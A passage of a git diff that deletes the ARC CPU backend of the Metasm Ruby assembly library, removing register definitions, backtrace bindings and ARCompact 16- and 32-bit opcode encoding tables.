4], - Indirection[sp, @size/8, di.address] => Expression[a0] - } } - when 'pop_s' - lambda { |di, a0| { - a0 => Indirection[sp, @size/8, di.address], - sp => Expression[sp, :+, 4] - } } - end - @backtrace_binding[op] ||= binding if binding - } - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when GPR; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.opcode.name - when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp' - expr = di.instruction.args.last - expr.kind_of?(Memref) ? expr.base : expr - else di.instruction.args.last - end - - [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]] - end - - def backtrace_is_function_return(expr, di=nil) - Expression[expr].reduce == Expression[register_symbols[5]] - end - - def delay_slot(di=nil) - return 0 if (not di) or (not di.opcode.props[:setip]) - return 1 if di.opcode.props[:delay_slot] - (di.instruction.opname =~ /\.d/) ? 0 : 1 - end -end -end diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb deleted file mode 100644 index 2d0a5bd042..0000000000 --- a/lib/metasm/metasm/cpu/arc/main.rb +++ /dev/null @@ -1,191 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm -class ARC < CPU - def initialize(e = :little) - super() - @endianness = e - @size = 32 - end - - class Reg - include Renderable - - attr_accessor :i - - def initialize(i); @i = i end - - def ==(o) - o.class == self.class and o.i == i - end - end - - # general purpose reg - # Result R0-R1 - # Arguments R0-R7 - # Caller Saved Registers R0-R12 - # Callee Saved Registers R13-R25 - # Static chain pointer (if required) R11 - # Register for temp calculation R12 - # Global Pointer R26 (GP) - # Frame Pointer R27 (FP) - # Stack Pointer R28 (SP) - # Interrupt Link Register 1 R29 (ILINK1) - # Interrupt Link Register 2 R30 (ILINK2) - # Branch Link Register R31 (BLINK) - class GPR < Reg - Sym = (0..64).map { |i| "r#{i}".to_sym } - def symbolic; Sym[@i] end - - Render = { - 26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program - 27 => 'fp', # frame pointer - 28 => 'sp', # stak pointer - 29 => 'ilink1', # maskable interrupt link register - 30 => 'ilink2', # maskable interrupt link register 2 - 31 => 'blink', # branch link register - 60 => 'lp_count', # loop count register (24 bits) - # "When a destination register is set to r62 there is no destination for the result of the instruction so the - # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit - # in the instruction)." - 62 => 'zero' - } - - def render - if s = Render[i] - [s] - else - # r0-r28 general purpose registers - # r32-r59 reserved for extentions - ["r#@i"] - end - end - - end - - class AUX < Reg - def symbolic; "aux#{i}".to_sym end - - Render = { - 0x00 => 'status', # Status register (Original ARCtangent-A4 processor format) - 0x01 => 'semaphore', # Inter-process/Host semaphore register - 0x02 => 'lp_start', # Loop start address (32-bit) - 0x03 => 'lp_end', # Loop end address (32-bit) - 0x04 => 'identity', # Processor Identification register - 0x05 => 'debug', # Debug register - 0x06 => 'pc', # PC register (32-bit) - 0x0A => 'status32', # Status register (32-bit) - 0x0B => 'status32_l1', # Status register save for level 1 interrupts - 0x0C => 'status32_l2', # Status register save for level 2 interrupts - 0x10 => 'ic_ivic', # Cache invalidate - 0x11 => 'ic_ctrl', # Mode bits for cache controller - 0x12 => 'mulhi', # High part of Multiply - 0x19 => 'ic_ivil', - 0x21 => 'timer0_cnt', # Processor Timer 0 Count value - 0x22 => 'timer0_ctrl', # Processor Timer 0 Control value - 0x23 => 'timer0_limit', # Processor Timer 0 Limit value - 0x25 => 'int_vector_base', # Interrupt Vector Base address - 0x40 => 'im_set_dc_ctrl', - 0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode - 0x43 => 'aux_irq_lv12', # Interrupt Level Status - 0x47 => 'dc_ivdc', # Invalidate cache - 0x48 => 'dc_ctrl', # Cache control register - 0x49 => 'dc_ldl', # Lock data line - 0x4A => 'dc_ivdl', # Invalidate data line - 0x4B => 'dc_flsh', # Flush data cache - 0x4C => 'dc_fldl', # Flush data line - 0x58 => 'dc_ram_addr', # Access RAM address - 0x59 => 'dc_tag', # Tag Access - 0x5A => 'dc_wp', # Way Pointer Access - 0x5B => 'dc_data', # Data Access - 0x62 => 'crc_bcr', - 0x64 => 'dvfb_bcr', - 0x65 => 'extarith_bcr', - 0x68 => 'vecbase_bcr', - 0x69 => 'perbase_bcr', - 0x6f => 'mmu_bcr', - 0x72 => 'd_cache_build', # Build: Data Cache - 0x73 => 'madi_build', # Build: Multiple ARC Debug I/F - 0x74 => 'ldstram_build', # Build: LD/ST RAM - 0x75 => 'timer_build', # Build: Timer - 0x76 => 'ap_build', # Build: Actionpoints - 0x77 => 'i_cache_build', # Build: I-Cache - 0x78 => 'addsub_build', # Build: Saturated Add/Sub - 0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory - 0x7B => 'multiply_build', # Build: Multiply - 0x7C => 'swap_build', # Build: Swap - 0x7D => 'norm_build', # Build: Normalise - 0x7E => 'minmax_build', # Build: Min/Max - 0x7F => 'barrel_build', # Build: Barrel Shift - 0x100 => 'timer1_cnt', # Processor Timer 1 Count value - 0x101 => 'timer1_ctrl', # Processor Timer 1 Control value - 0x102 => 'timer1_limit', # Processor Timer 1 Limit value - 0x200 => 'aux_irq_lev', # Interrupt Level Programming - 0x201 => 'aux_irq_hint', # Software Triggered Interrupt - 0x202 => 'aux_irq_mask', # Masked bits for Interrupts - 0x203 => 'aux_irq_base', # Interrupt Vector base address - 0x400 => 'eret', # Exception Return Address - 0x401 => 'erbta', # Exception Return Branch Target Address - 0x402 => 'erstatus', # Exception Return Status - 0x403 => 'ecr', # Exception Cause Register - 0x404 => 'efa', # Exception Fault Address - 0x40A => 'icause1', # Level 1 Interrupt Cause Register - 0x40B => 'icause2', # Level 2 Interrupt Cause Register - 0x40C => 'aux_ienable', # Interrupt Mask Programming - 0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming - 0x410 => 'xpu', # User Mode Extension Enables - 0x412 => 'bta', # Branch Target Address - 0x413 => 'bta_l1', # Level 1 Return Branch Target - 0x414 => 'bta_l2', # Level 2 Return Branch Target - 0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel - 0x416 => 'aux_irq_pending', # Interrupt Pending Register - } - - def render - if s = Render[i] - [s] - else - ["aux#@i"] - end - end - end - - class Memref - attr_accessor :base, :disp - - def initialize(base, disp, sz) - @base, @disp, @size = base, disp, sz - end - - def symbolic(orig) - b = @base - b = b.symbolic if b.kind_of? Reg - - if disp - o = @disp - o = o.symbolic if o.kind_of? Reg - e = Expression[b, :+, o].reduce - else - e = Expression[b].reduce - end - - Indirection[e, @size, orig] - end - - include Renderable - - def render - if @disp and @disp != 0 - ['[', @base, ', ', @disp, ']'] - else - ['[', @base, ']'] - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb b/lib/metasm/metasm/cpu/arc/opcodes.rb deleted file mode 100644 index 66417d93fd..0000000000 --- a/lib/metasm/metasm/cpu/arc/opcodes.rb +++ /dev/null @@ -1,588 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/arc/main' - -module Metasm -class ARC - def addop32(name, bin, *args) - addop(:ac32, name, bin, *args) - end - - def addop16(name, bin, *args) - addop(:ac16, name, bin, *args) - end - - def addop(mode, name, bin, *args) - o = Opcode.new(name) - o.bin = bin - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o) - end - - def init_opcode_list - @opcode_list16 = [] - @opcode_list32 = [] - - @valid_props.update :flag_update => true, :delay_slot => true - @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz] - #The remaining 16 condition codes (10-1F) are available for extension - @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" } - - # Compact 16-bits operands field masks - fields_mask16 = { - :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7, - :cu => 0x1f, - :ch => 0b11100111, - - # immediate (un)signed - :cu3 => 0x7, :cu8 => 0xff, - # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned - :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f, - - :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff, - - # signed displacement - :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF, - - # memref [b+u], [sp,u], etc. - :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111, - :@cspu7 => 0b11111, :@cbcc => 0b111111, - :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff, - - # implicit operands - :climm => 0x0, :cr0 => 0x0, - :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0 - } - - fields_shift16 = { - :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5, - :cu => 0x0, - - # immediate (un)signed - :ch => 0x0, - :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0, - :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0, - - # signed displacement - :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0, - - # memref [b+u] - :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0, - :@cspu7 => 0x0, :@cbcc => 0x5, - :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0, - - # implicit operands - :climm => 0x0, :cr0 => 0x0, - :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0, - } - - fields_mask32 = { - :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111, - :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f, - - :u6 => 0x3f, :u6e => 0x3f, - :s8e => 0x1fd, :s9 => 0x7f, - :s12 => 0xfff, :s12e => 0xfff, - :s21e => 0x1ffBff, :s21ee => 0x1ff3ff, - :s25e => 0x7feffcf, :s25ee => 0x7fcffcf, - - :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF, - - :limm => 0x0, :@limm => 0x0, - :@limmc => 0x3f, :@blimm => 0x7, - - :auxlimm => 0x0, :auxs12 => 0xfff, - - :ccond => 0x1f, #condition codes - :delay5 => 1, :delay16 => 1,# delay slot - :flags15 => 0x1, :flags16 => 0x1, - :signext6 => 0x1, :signext16 => 0x1, - :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field - :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field - :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag - :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0 - } - #FIXME - - fields_shift32 = { - :a => 0x0, :b => 0xC, :bext => 0xC, - :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6, - - :u6 => 0x6, :u6e =>0x6, - :s8e => 15, :s9 => 0x11, - :s12 => 0x0, :s12e => 0, - :s21e => 0x6, :s21ee => 0x6, - :s25e => 0, :s25ee => 0, - - :limm => 0x0, :@limm => 0x0, - :@limmc => 0x6, :@blimm => 0x18, - - :auxlimm => 0x0, :auxs12 => 0, - - :@bs9 => 12, :@bc => 6, :@bextcext => 6, - - :ccond => 0, #condition codes - :delay5 => 5, :delay16 => 16,# delay slot - :flags15 => 15, :flags16 => 16, - :signext6 => 6, :signext16 => 16, - :cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field - :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field - :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag - :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0, - } - - @fields_mask = fields_mask16.merge(fields_mask32) - @fields_shift = fields_shift16.merge(fields_shift32) - - init_arc_compact16() - init_arc_compact32() - - {16 => @opcode_list16, 32 => @opcode_list32} - end - - def add_artihm_op(op, majorcode, subcode, *flags) - # 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA - addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15 - # 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA - addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 - # 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS - addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15 - # 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ - addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15 - # 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ - addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 - end - - def add_logical_op(op, majorcode, subcode, *flags) - # 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA - addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15 - # 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA - addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 - # 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ - # WTF - addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15 - # 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ - addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 - end - - def add_artihm_op_reduce(op, majorcode, subcode) - # 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx - addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15 - # 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx - addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15 - end - - def add_condbranch_op(op, ccond) - # 0b00001bbbsssssss1SBBBUUUUUUN0xxxx - addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5 - # 0b00001bbbsssssss1SBBBUUUUUUN1xxxx - addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5 - end - - def add_condjmp_op() - # 0b00100RRR1110000D0RRRCCCCCC0QQQQQ - addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16 - # 0b00100RRR1110000D0RRRuuuuuu1QQQQQ - addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16 - # 0b00100RRR111000001RRR0111010QQQQQ - addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update - # 0b00100RRR111000001RRR0111100QQQQQ - addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update - end - - def add_condjmplink_op() - # 0b00100RRR111000100RRRCCCCCC0QQQQQ - addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16 - # 0b00100RRR111000100RRRuuuuuu1QQQQQ - addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16 - end - - def init_arc_compact32 - - add_artihm_op_reduce 'abs', 0b00100, 0b001001 - add_artihm_op_reduce 'abss', 0b00101, 0b000101 - add_artihm_op_reduce 'abssw', 0b00101, 0b000100 - - add_artihm_op 'adc', 0b00100, 0b000001 - add_artihm_op 'add', 0b00100, 0b000000 - add_artihm_op 'add1', 0b00100, 0b010100 - add_artihm_op 'add2', 0b00100, 0b010101 - add_artihm_op 'add3', 0b00100, 0b010110 - add_artihm_op 'adds', 0b00101, 0b000110 - add_artihm_op 'addsw', 0b00101, 0b010101, :extended - add_artihm_op 'addsdw',0b00101, 0b101000, :extended - add_artihm_op 'and' ,0b00100, 0b000100 - - add_artihm_op_reduce 'asl', 0b00100, 0b000000 - - add_artihm_op 'asl', 0b00101, 0b000000, :extended - add_artihm_op 'asls', 0b00101, 0b001010, :extended - - add_artihm_op_reduce 'asr', 0b00100, 0b000001 - - add_artihm_op 'asr', 0b00101, 0b000010 - add_artihm_op 'asrs', 0b00101, 0b001011 - - # 0b00001bbbsssssss1SBBBCCCCCCN01110 - addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBuuuuuuN11110 - addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBCCCCCCN01111 - addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip - # 0b00001bbbsssssss1SBBBuuuuuuN11111 - addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip - - # 0b00000ssssssssss0SSSSSSSSSSNQQQQQ - addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip - # 0b00000ssssssssss1SSSSSSSSSSNRtttt - addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec - # WTF: unknown encoding, bit 5 should be reserved - addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec - - add_logical_op 'bclr', 0b00100, 0b010000 - add_artihm_op 'bic', 0b00100, 0b000110 - - # 0b00001sssssssss00SSSSSSSSSSNQQQQQ - addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip - # 0b00001sssssssss10SSSSSSSSSSNRtttt - addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec - - add_logical_op 'bmsk', 0b00100, 0b010011 - - add_condbranch_op 'breq', 0b0000 - add_condbranch_op 'brne', 0b0001 - add_condbranch_op 'brlt', 0b0010 - add_condbranch_op 'brge', 0b0011 - add_condbranch_op 'brlo', 0b0100 - add_condbranch_op 'brhs', 0b0101 - - addop32 'brk', 0b00100101011011110000000000111111, :stopexec - - add_logical_op 'bset', 0b00100, 0b001111 - - # 0b00100bbb110100011BBBCCCCCC0QQQQQ - addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond - # 0b00100bbb110100011BBBuuuuuu1QQQQQ - addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond - # WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ - addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond - - add_logical_op 'bxor', 0b00100, 0b010010 - - # 0b00100bbb100011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12 - # WTF unknown encoding ... - # 0b00100bbb010011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12 - # 0b00100bbb110011001BBBuuuuuu1QQQQQ - addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond - # WTF unknown encoding ... - # 0b00100bbb010011001BBBssssssSSSSSS - addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond - # 0b00100bbb110011001BBBCCCCCC0QQQQQ - addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond - - add_artihm_op 'divaw', 0b00101, 0b001000, :extended - - # 0b00100bbb00101111DBBBCCCCCC001100 - addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16 - # 0b00100bbb01101111DBBBuuuuuu001100 - addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16 - - add_artihm_op_reduce 'extb', 0b00100, 0b000111 - add_artihm_op_reduce 'extw', 0b00100, 0b001000 - - # WTF unknown encoding ... - # 0b00100rrr111010010RRRCCCCCC0QQQQQ - addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update - # 0b00100rrr111010010RRRuuuuuu1QQQQQ - addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update - # 0b00100rrr101010010RRRssssssSSSSSS - addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update - - add_condjmp_op() - add_condjmplink_op() - - # 0b00100RRR001000000RRRCCCCCCRRRRRR - addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec - # 0b00100RRR011000000RRRuuuuuuRRRRRR - addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec - # 0b00100RRR101000000RRRssssssSSSSSS - addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec - # 0b00100RRR001000001RRR011101RRRRRR - addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec - # 0b00100RRR001000001RRR011110RRRRRR - addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec - - # 0b00100RRR0010001D0RRRCCCCCCRRRRRR - addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec - # 0b00100RRR0110001D0RRRuuuuuuRRRRRR - addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec - # 0b00100RRR1010001D0RRRssssssSSSSSS - addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec - - # 0b00010bbbssssssssSBBBDaaZZXAAAAAA - addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11 - - # 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA - addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11 - - # 0b00100RRR111010000RRRuuuuuu1QQQQQ - addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip - # 0b00100RRR101010000RRRssssssSSSSSS - addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip - - # 0b00100bbb001010100BBBCCCCCCRRRRRR - addop32 'lr', 0b00100000101010100000000000000000, :b, :@c - # 0b00100bbb001010100BBB111110RRRRRR - addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm - # 0b00100bbb101010100BBBssssssSSSSSS - addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12 - # WTF unknown encoding ... - # 0b00100bbb101010100BBBssssssSSSSSS - addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12 - - add_artihm_op_reduce 'lsr', 0b00100, 0b000010 - - add_artihm_op 'lsr', 0b00101, 0b000001 - add_artihm_op 'max', 0b00100, 0b001000 - add_artihm_op 'min', 0b00100, 0b001001 - - # 0b00100bbb10001010FBBBssssssSSSSSS - addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15 - # WTF unknown encoding ... - # 0b00100bbb01001010FBBBssssssSSSSSS - addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15 - # 0b00100bbb11001010FBBBCCCCCC0QQQQQ - addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15 - # WTF unknown encoding .. - # 0b00100bbb00001010FBBBCCCCCC0QQQQQ - addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15 - # 0b00100bbb11001010FBBBuuuuuu1QQQQQ - addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15 - - add_artihm_op 'mpy', 0b00100, 0b011010, :extended - add_artihm_op 'mpyh', 0b00100, 0b011011, :extended - add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended - add_artihm_op 'mpyu', 0b00100, 0b011101, :extended - - # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6 - # : 0b00100bbb01001110FBBB000000AAAAAA - #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15 - - # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6 - # 0b00100bbb11001110FBBB0000001QQQQQ - #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15 - - add_artihm_op_reduce 'negs', 0b00101, 0b000111 - add_artihm_op_reduce 'negsw', 0b00101, 0b000110 - - # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15]) - addop32 'nop', 0b00100110010010100111000000000000 - - add_artihm_op_reduce 'norm', 0b00101, 0b000001 - add_artihm_op_reduce 'normw', 0b00101, 0b001000 - add_artihm_op_reduce 'not', 0b00100, 0b001010 - - add_artihm_op 'or', 0b00100, 0b000101 - - # 0b00010bbbssssssssSBBB0aa000111110 - addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb - # 0b00100bbbaa1100000BBBCCCCCC111110 - addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22 - - # 0b00100bbb100011011BBBssssssSSSSSS - addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12 - # 0b00100bbb110011011BBBCCCCCC0QQQQQ - addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond - # 0b00100bbb110011011BBBuuuuuu1QQQQQ - addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond - - add_artihm_op_reduce 'rlc', 0b00100, 0b001011 - add_artihm_op_reduce 'rnd16', 0b00101, 0b000011 - add_artihm_op_reduce 'ror', 0b00100, 0b000011 - - add_artihm_op 'ror', 0b00101, 0b000011, :extended - - add_artihm_op_reduce 'rrc', 0b00100, 0b000100 - - add_artihm_op 'rsub', 0b00100, 0b001110 - - addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec - - add_artihm_op_reduce 'sat16', 0b00101, 0b000010 - - add_artihm_op 'sbc', 0b00100, 0b000011 - - add_artihm_op_reduce 'sexb', 0b00100, 0b000101 - add_artihm_op_reduce 'sexbw', 0b00100, 0b000110 - - # 0b00100001011011110000uuuuuu111111 - addop32 'sleep', 0b00100001011011110000000000111111, :u6 - - # 0b00100bbb001010110BBBCCCCCCRRRRRR - addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext - # 0b00100110101010110111CCCCCCRRRRRR - addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12 - # WTF: unknown encoding - addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12 - - # 0b00011bbbssssssssSBBBCCCCCCDaaZZR - addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5 - - add_artihm_op 'sub', 0b00100, 0b000010 - add_artihm_op 'sub1', 0b00100, 0b010111 - add_artihm_op 'sub2', 0b00100, 0b011000 - add_artihm_op 'sub3', 0b00100, 0b011001 - - # WTF: same encoding as xor instructions - #add_artihm_op 'subs', 0b00100, 0b000111 - - add_artihm_op 'subsdw', 0b00101, 0b101001, :extended - - add_artihm_op_reduce 'swap', 0b00101, 0b000000 - - addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec - addop32 'sync', 0b00100011011011110000000000111111 - - # 0b00100bbb100010111BBBssssssSSSSSS - addop32 'tst', 0b00100000100010111000000000000000, :b, :s12 - # 0b00100bbb110010111BBBCCCCCC0QQQQQ - addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond - # 0b00100bbb110010111BBBuuuuuu1QQQQQ - addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond - - add_artihm_op 'xor', 0b00100, 0b000111 - end - - # ARCompact 16-bit instructions - def init_arc_compact16 - addop16 'abs_s', 0x7811, :cb, :cc - addop16 'add_s', 0x6018, :ca, :cb, :cc - addop16 'add_s', 0x7000, :cb, :cb2, :ch - addop16 'add_s', 0x6800, :cc, :cb, :cu3 - addop16 'add_s', 0xe000, :cb, :cb2, :cu7 - - # same encoding as add_s b,b,h - #addop16 'add_s', 0x70c7, :cb, :cb2, :climm - - addop16 'add_s', 0xc080, :cb, :sp, :cu5ee - addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee - addop16 'add_s', 0xce00, :cr0, :gp, :cs9 - addop16 'add1_s', 0x7814, :cb, :cb2, :cc - addop16 'add2_s', 0x7815, :cb, :cb2, :cc - addop16 'add3_s', 0x7816, :cb, :cb2, :cc - addop16 'and_s', 0x7804, :cb, :cb2, :cc - addop16 'asl_s', 0x7818, :cb, :cb2, :cc - addop16 'asl_s', 0x6810, :cc, :cb, :cu3 - addop16 'asl_s', 0xb800, :cb, :cb2, :cu5 - addop16 'asl_s', 0x781b, :cb, :cc - addop16 'asr_s', 0x781a, :cb, :cb2, :cc - addop16 'asr_s', 0x6818, :cc, :cb, :cu3 - addop16 'asr_s', 0xb840, :cb, :cb2, :cu5 - addop16 'asr_s', 0x781c, :cb, :cc - addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec - addop16 'beq_s', 0xf200, :cdisps10, :setip - addop16 'bne_s', 0xf400, :cdisps10, :setip - addop16 'bgt_s', 0xf600, 